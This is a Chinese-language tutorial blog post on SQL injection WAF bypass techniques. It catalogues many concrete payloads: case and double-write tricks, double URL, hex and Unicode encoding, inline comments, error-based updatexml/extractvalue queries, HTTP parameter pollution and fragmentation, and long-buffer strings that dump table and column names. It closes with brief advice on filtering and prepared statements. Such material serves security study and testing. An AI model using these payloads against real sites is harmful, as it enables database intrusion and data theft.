sql注入绕过技术分析

一、WAF介绍

传统防火墙只是在第三层(网络层)有效的阻断一些数据包;而随着web应用的功能越来越丰富的时候,Web服务器因为其强大的计算能力,处理性能,蕴含较高的价值,成为主要的被攻击目标(第五层应用层),由此WAF应运而生。
WAF称为web应用防火墙,是通过执行一系列针对HTTP,HTTPS的安全策略,来专门对web应用,提供保护的一款产品。WAF初期是基于规则防护的防护设备;基于规则的防护,可以提供各种web应用的安全规则,waf生产商去维护这个规则库,并实时为其更新,用户按照这些规则,可以对应用进行全方面的保护。

常见特征

  1. 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
  2. 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
  3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
  4. WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

常见特点

• 异常检测协议:拒绝不符合HTTP标准的请求
• 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
• 白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
• 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
• 状态管理:重点进行会话保护
• 另还有:Cookie保护、抗入侵规避技术、响应监视和信息泄露保护等

WAF的识别扫描器

• 扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix 在内的标识
• 单IP+ cookie某时间段内触发规则次数
•隐藏的链接标签等
•Cookie植入
•验证码验证,扫描器无法自动填充验证码
•单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404

二、绕过技术

1. 双写绕过

• 举例:?id=1
• 访问?id=1 and 1=1 页面报错 1=1,发现and被过滤,这时候尝试使用双写 的方式绕过,如aanndd 1=1,当and被过滤后,aanndd变成了and,所以 这时传输数据库的语句是and 1=1 ,如果当访问 order by 错误信息为‛der by‛这发现过滤了or,这双写or,后面注入和union注入的一致。

2. 大小写绕过

• 大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
• 举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
• 示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个 关键字或每种情况都有处理

3. 替换关键字

• 这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、 union这些关键字,如果只匹配一次就很容易绕过
• 举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
• 同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT, 不建议对此抱太大期望

4. 编码绕过注入

URL编码

访问id=1’,发现页面报出Mysql错误,接着访问id=1 and 1=1 和id=1 and 1=2 时,发现and被拦截,尝试使用URL全编码的方式绕过拦截。由于服务器会 自动对URL进行一次URL编码,所以需要把关键字编码两次,这里需要注意的地方是,URL编码需要选择全编码,而不是普通的URL编码。
如: 关键字and进行两次URL全编码的结果是%25%36%31%25%36%65%25%36%34, 访问id=1 %25%36%31%25%36%65%25%36%34 1=1时,页面返回和id=1相同, 访问id=1 %25%36%31%25%36%65%25%36%34 1=2时,和id=1不同,所以该页面一定存在sql注入漏洞。
后面的注入过程与union注入一致,只需判断过滤的关键词,并经过两次URL 全编码即可。

十六进制编码
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码

Unicode编码
• Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
• 看一下常用的几个符号的一些Unicode编码:
• 单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
• 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
• 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
• 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
• 举例:?id=1%D6‘%20AND%201=2%23
• SELECT ‘Ä’=‘A’; #1
• 两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了 一个宽字节即Unicode字节,单引号可以正常使用
• 第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode 编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
• 另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过, 有兴趣的朋友可以去了解下
• 常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例

5. 使用注释

普通注释
• 常见的用于注释的符号: //, – , /**/, #, – +, – - , ; , – a

• 举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

'union%a0select pass from users#

• /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、-+用于终结语句的查询

内联注释
• 相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

• 举例:

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 
•   ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLE ct*/%0A/*nnaa*/+1,2,3,4… 

• 两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

6. 等价函数与命令

某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们
1.函数或变量

• hex()、bin() ==> ascii()
• sleep() ==>benchmark() 
• concat_ws()==>group_concat() 
• mid()、substr() ==> substring()
• @@user ==> user() 
• @@datadir ==> datadir() 

2.符号
• and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那便等于了
• 如 id=1 or 1=1 可以换成 id=1 or 1!=2
• 在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函数

  • MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);           
  • ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 
  • SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
  • ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

• MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的 filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制。

7. 特殊符号

• 这里把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
• 几个例子:

• 1.使用反引号,例如select version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
• 2.神奇的"-+.",select+id-1+1.from users; ‚+‛是用于字符串连接的,‛-‛和‛.‛ 在此也用于连接,可以逃过空格和关键字过滤
• 3.@符号,select@^1.from users; @用于变量定义如@ var_name ,一个@表示用户定义,@@表示系统变量
• 4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制

• 发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了): `、~、!、@、%、()、[]、.、-、+ 、|、%00

8. HTTP参数控制

• 通过提供多个参数=相同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ – ‘在某些情况下(例如使用 Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一 个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP) 的影响,但仍然值得一试。
• 1.HPP(HTTP Parameter Polution)
• 举例:

 /?id=1;select+1,2,3+from+users+where+id=1--
 /?id=1;select+1&id=2,3+from+users+where+id=1-- 

/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users
• HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种 情况,不同的Web服务器处理方式如下
在这里插入图片描述
2.HPF(HTTP Parameter Fragment)
• 这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
• 举例:

 •  /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

• select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
• 看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不 一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并 语句。
• 3.HPC(HTTP Parameter Contamination)
• RFC2396定义了如下一些字符:
• Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ’ () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
在这里插入图片描述
以魔术字符%为例,Asp/Asp.net会受到影响
在这里插入图片描述

9. 缓冲区溢出(Advanced)

• 缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
• 举例:

  • ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26 

• 示例0xA*1000指0xA后面‛A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

10. 整合绕过

• 整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性, 除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

 • target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…  
 • id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– - 
 • ?id=5+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATIO N_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

11. SQL修复建议

• 常用得SQL注入漏洞得修复方法有两种
• 1.过滤危险字符
• 多数CMS都采用过滤字符的方式,例如,采用正则表达式匹配union、 sleep、load_file等关键字,如果匹配到,则退出程序。
• 2.使用预编译语句
• 其实使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语 句中,而是使用占位符进行数据库的增加、删除、修改、查询。

  • 9
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值